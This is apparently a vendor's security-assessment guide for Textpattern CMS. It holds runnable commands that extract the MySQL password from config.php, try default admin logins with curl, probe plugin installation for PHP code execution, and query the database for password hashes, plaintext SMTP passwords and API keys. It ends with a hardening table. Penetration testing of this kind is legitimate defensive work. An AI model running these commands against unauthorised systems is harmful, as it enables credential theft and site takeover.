Textpattern CMS Security Testing: Default Credentials, API Key, Database, and CMS

Textpattern CMS is a long-standing PHP content management system known for its elegant template system. Key assessment areas: textpattern/config.php exposes MySQL credentials ($db_pass); admin/admin is the historical default at /textpattern; txp_users stores password hashes using Blowfish or older MD5+salt depending on version; txp_prefs holds SMTP passwords and third-party API credentials; and plugin installation allows PHP code execution. This guide covers systematic Textpattern CMS security assessment.

Table of Contents

  1. textpattern/config.php MySQL Credential Extraction
  2. Admin Panel and Plugin Installation Assessment
  3. MySQL txp_users Hash and txp_prefs Extraction
  4. Textpattern Security Hardening

textpattern/config.php MySQL Credential Extraction

# Textpattern CMS — textpattern/config.php MySQL credential extraction
TXP_URL="https://site.example.com"

# textpattern/config.php — Textpattern database configuration
cat /var/www/textpattern/textpattern/config.php 2>/dev/null

python3 -c "
import re
content = open('/var/www/textpattern/textpattern/config.php').read()
patterns = {
    'db_pass': r\"\\\\\\\$db_pass\s*=\s*'([^']+)'\",
    'db': r\"\\\\\\\$db\s*=\s*'([^']+)'\",
    'user': r\"\\\\\\\$user\s*=\s*'([^']+)'\",
    'host': r\"\\\\\\\$host\s*=\s*'([^']+)'\",
    'table_prefix': r\"\\\\\\\$table_prefix\s*=\s*'([^']*)'\",
    'txpath': r\"\\\\\\\$txpath\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# \$db_pass = 'mysql-password';   <-- MySQL password (CRITICAL)

# Check textpattern/ directory web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TXP_URL}/textpattern/config.php" 2>/dev/null)
echo "/textpattern/config.php: HTTP ${STATUS}"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TXP_URL}/textpattern/" 2>/dev/null)
echo "/textpattern/: HTTP ${STATUS}"

# Test admin credentials at /textpattern/index.php
for CRED in "admin:admin" "admin:password" "textpattern:textpattern"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${TXP_URL}/textpattern/index.php" \
    -d "p_userid=${USER}&p_password=${PASS}&event=login" \
    -c /tmp/txp_c -b /tmp/txp_c -L 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

Admin Panel and Plugin Installation Assessment

# Textpattern admin panel — plugin installation and RCE assessment
TXP_URL="https://site.example.com"

# Textpattern admin at /textpattern/index.php
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${TXP_URL}/textpattern/index.php" 2>/dev/null)
echo "/textpattern/index.php: HTTP ${STATUS}"

# Textpattern version disclosure
curl -s "${TXP_URL}/textpattern/index.php" 2>/dev/null | \
  grep -oP 'Textpattern[\s/]*\K[\d.]+' | head -1

# Textpattern Plugin Installer — upload Base64-encoded plugin .txt
# Format: plugin_name + base64(gzcompress(php_code))
# Publisher (level 7) admin required
ADMIN_SESS="extracted-phpsessid"
curl -s -X POST "${TXP_URL}/textpattern/index.php" \
  -d "event=plugin&step=plugin_install" \
  -d "plugin=" \
  -b "txp_login_public=${ADMIN_SESS}" 2>/dev/null | head -5

# Textpattern file upload — files section (/files/)
# Publisher or higher can upload arbitrary files
# Check txp_file for uploaded file paths
curl -s "${TXP_URL}/files/backup.zip" 2>/dev/null -o /dev/null -w "%{http_code}\n"

MySQL txp_users Hash and txp_prefs Extraction

# Textpattern MySQL database — txp_users hash and txp_prefs extraction
DB_PASS="extracted-db-password"
TABLE_PREFIX=""  # default: no prefix; set from config.php $table_prefix

mysql -u textpattern -p"${DB_PASS}" textpattern 2>/dev/null << 'EOF'
-- txp_users — Textpattern user accounts
SELECT u.user_id, u.name, u.email, u.pass, u.nonce,
       u.privs,         -- 1=Publisher, 2=Managing Editor, 3=Copy Editor,
                        -- 4=Staff Writer, 5=Freelancer, 6=Designer, 7=None
       u.last_access, u.RealName
FROM txp_users u
ORDER BY u.privs;
-- pass: Blowfish (txp 4.6+) or MD5+password_salt (older)
-- privs=1: Publisher — highest Textpattern privilege, full admin access
-- privs=7: No access (inactive users)

-- Check password hash format
SELECT u.name, LEFT(u.pass, 7) AS hash_prefix FROM txp_users u;
-- $2y$10$: Blowfish (strong)
-- $2a$10$: older Blowfish
-- Bare hex: old MD5

-- txp_prefs — Textpattern system preferences (SMTP, API, integrations)
SELECT p.name, p.val
FROM txp_prefs p
WHERE p.name LIKE '%pass%' OR p.name LIKE '%key%'
  OR p.name LIKE '%secret%' OR p.name LIKE '%smtp%'
  OR p.name LIKE '%api%' OR p.name LIKE '%token%'
ORDER BY p.name;
-- smtp_pass: SMTP password (plaintext)
-- sendmail integration credentials

-- txp_file — uploaded file metadata and paths
SELECT f.id, f.filename, f.title, f.created,
       f.category, f.status, f.downloads
FROM txp_file f
WHERE f.status = 4  -- published (accessible via /files/)
ORDER BY f.created DESC
LIMIT 20;
-- Reveals what files are publicly downloadable — includes server docs,
-- backups, spreadsheets, etc. if users uploaded sensitive files

-- txp_article — articles including hidden/draft content
SELECT a.ID, a.Title, a.Status,
       a.Posted, a.AuthorID,
       LEFT(a.Body, 100) AS body_preview
FROM txp_article a
WHERE a.Status IN (1, 2)  -- hidden (1) and draft (2)
ORDER BY a.LastMod DESC
LIMIT 20;
EOF

Textpattern Security Hardening

Textpattern Security Hardening Checklist:
Security TestMethodRisk
textpattern/config.php MySQL $db_pass extractionRead /textpattern/config.php — $db_pass; full MySQL database access to txp_users hashes and txp_prefs SMTP passwordsCritical
txp_users MD5 hash extraction with privs=1 Publisher identificationMySQL SELECT pass FROM txp_users WHERE privs=1 — old MD5 hashes crack in milliseconds; Publisher = full admin access and plugin installation (RCE)High
Plugin installation PHP code executionPOST /textpattern/index.php?event=plugin&step=plugin_install — Base64-encoded PHP plugin executes with web server privileges; Publisher auth requiredHigh
txp_prefs SMTP password plaintext extractionMySQL SELECT val FROM txp_prefs WHERE name LIKE '%smtp%' — smtp_pass stored in plaintext in database table; SMTP credential abuseHigh
txp_file sensitive document enumeration via /files/MySQL SELECT filename FROM txp_file — public downloads; audit for backups, spreadsheets, or documents with sensitive data accessible without authenticationMedium

Automate Textpattern Security Testing

Ironimo tests Textpattern deployments for textpattern/config.php MySQL $db_pass web and filesystem credential extraction, admin/admin credential brute-force at /textpattern/index.php, txp_users MD5 or Blowfish hash extraction with privs=1 Publisher superadmin identification, plugin installation PHP code execution RCE assessment, txp_prefs SMTP password and API credential plaintext extraction, txp_file public file enumeration for sensitive document exposure, txp_article hidden and draft content access, textpattern/config.php web accessibility verification, Textpattern version disclosure for CVE targeting, and /files/ directory access control verification.

Start free scan